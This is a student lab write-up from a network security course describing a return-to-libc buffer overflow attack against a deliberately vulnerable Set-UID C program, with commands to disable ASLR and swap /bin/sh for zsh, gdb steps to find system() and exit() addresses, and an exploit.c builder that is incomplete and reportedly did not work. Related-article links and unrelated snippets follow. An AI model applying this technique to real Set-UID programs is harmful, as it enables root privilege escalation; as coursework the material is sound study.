NetSec2019 20165327 exp1+

一、实验内容介绍

第一个实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护

(2)关闭堆栈执行保护

(3)关闭地址随机化

(4)在x32环境下

(5)在Linux实践环境

二、知识点总结

1、Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起
2、Linux中两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr,缓冲区小就就把shellcode放后边,不然就放前边。
3、Return-to-libc是缓冲区溢出的变体攻击,这种攻击不需要一个栈可以执行,甚至不需要一个shelcode,取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的lib库中的system()函数等)来实现我们的攻击。
建议的实践内容包括:

三、知识点总结

Task1 (5-10分)

自己编写一个64位shellcode。参考shellcode指导
自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

Task 2 (5-10分)

进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。参考ROP

Task 3 ( 5-25分)

可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。

或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?

同学们可跟踪深入任何一个作为后续课题。问题-思考-验证-深入...。根据实践量,可作为5-25分的期末免考题目。

往届样例:学习并实践:Linux攻击实践完整流程

Task1
自己编写一个64位shellcode。参考shellcode指导。
自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

Task 2
1、输入命令安装一些用于编译 32 位 C 程序的东西

输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。

关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址,设置堆栈不可执行
sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化
gcc -z noexecstack -o test test.c //栈不可执行

添加一个新用户,如图所示

即使能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。
下面描述如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit

把以下漏洞代码保存为20165327retlib.c文件,保存到/tmp目录下,并进行编译,设置。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}


编译该程序,并设置 SET-UID。
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o 20165327retlib 20165327retlib.c//设置栈不可执行
chmod u+s 20165327retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit

用一个读取环境变量的程序,并通过gcc -m32 -o getenvaddr getenvaddr.c进行编译。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}


获得 BIN_SH 地址:
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

通过编译和gdb调试获取system和exit地址:
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址

修改exploit.c文件,填上刚才找到的内存地址。

删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c。
运行攻击程序,生成badfile文件,载运行漏洞程序

分析原因可能是设置内存地址中出了问题。

NetSec2019 20165327 exp1+ 逆向进阶的更多相关文章

  1. NetSec2019 20165327 Exp1 PC平台逆向破解

    NetSec2019 20165327 Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1(实验中用的 是5327pwnx)的linux可执行文件. 该程序正常执行流程是:ma ...

  2. 2018-2019 20165226 网络对抗 Exp1+ 逆向进阶

    2018-2019 20165226 网络对抗 Exp1+ 逆向进阶 目录 一.实验内容介绍 二.64位shellcode的编写及注入 三.ret2lib及rop的实践 四.问题与思考 一.实验内容介 ...

  3. 20165214 2018-2019-2 《网络对抗技术》Exp1+ 逆向进阶 Week4

    <网络对抗技术>Exp2 PC平台逆向破解之"MAL_简单后门" Week4 一.实验内容 Task1 自己编写一个64位shellcode.参考shellcode指导 ...

  4. 20164305 徐广皓 Exp1+ 逆向进阶

    实验内容 Task1 (5-10分) 自己编写一个64位shellcode.参考shellcode指导. 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1.使用自己编写的shell ...

  5. NetSec2019 20165327 Exp6 信息搜集与漏洞扫描

    NetSec2019 20165327 Exp6 信息搜集与漏洞扫描 一.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 二.实践内容 1.各种搜索技巧的应用 2.DNS IP注册信息的查询 ...

  6. NetSec2019 20165327 EXP5 MSF基础应用

    NetSec2019 20165327 EXP5 MSF基础应用 实践目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  7. NetSec2019 20165327 Exp4 恶意代码分析

    NetSec2019 20165327 Exp4 恶意代码分析 一.实践目标 1.监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分 ...

  8. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  9. NetSec2019 20165327 Exp2 后门原理与实践

    NetSec2019 20165327 Exp2 后门原理与实践 快速找到重点: (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

随机推荐

  1. windows程序设计 Unicode和多字节之间转换

    Unicode转多字节:WideCharToMultiByte 多字节转Unicode:MultiByteToWideChar 代码演示 #include <windows.h> int ...

  2. 18.12.09-C语言练习:兔子繁衍问题 / Fibonacci 数列

    题目: 问题解析: 这是典型的/Fibonacci 数列问题.具体这里不赘述. 问题中不论是初始的第1对兔子还是以后出生的小兔子都是从第3个月龄起每个月各生一对兔子. 设n1,n2,n3分别是每个月1 ...

  3. 常见mysql的慢查询优化方式

    一,第一步.开启mysql慢查询 方式一: 修改配置文件  在 my.ini 增加几行:  主要是慢查询的定义时间(超过2秒就是慢查询),以及慢查询log日志记录( slow_query_log) 方 ...

  4. Python 上下文管理协议中的__enter__和__exit__基本理解

    所谓上下文管理协议,就是咱们打开文件时常用的一种方法:with __enter__(self):当with开始运行的时候触发此方法的运行 __exit__(self, exc_type, exc_va ...

  5. mysql查看所有触发器以及存储过程等操作集合

    今天在做每个月定时扣费的功能 用到了Mysql的Event Scheduler 昨完之后发现一个问题 Event Scheduler 默认是不开启的 要在mysql内执行SET GLOBAL even ...

  6. [转载]Oracle之xml的增删改查操作

    tip: xmltype函数是将clob字段转成xmltype类型的函数,若字段本身为xmltype类型则不需要引用xmltype()函数 同名标签用数组取值的方式获取,但起始值从1开始 一.查询(Q ...

  7. JavaBean初识

    JavaBean是一种特殊的java类,是一个通过Java代码实现的可重用组件. 简单来理解就是,将一些重用性较高的代码进行组合封装,以降低代码的重复性,使得开发更加简洁高效,也便于管理和修改. Ja ...

  8. 豆瓣上关于<<一万小时天才理论>>一书的一个评论

    原帖地址:http://book.douban.com/review/3707543/ 这本书和其他几本关于一万小时的书一样,都是基于埃里克森和赫伯特.西蒙的“十年法则”的标志性理论,但这本书通过新的 ...

  9. 类成员(static)和final修饰符

    在Java类里只能包含成员变量.方法.构造器.初始化块.内部类(包括接口.枚举)5种成员,类成员是用static来修饰的,其属于整个类. 当使用实例来访问类成员时,实际上依然是委托给该类来访问类成员, ...

  10. Thinking in work

    Scheduler? Realtime? sure SCI? Power supply and ECU life. how to assure? EMC?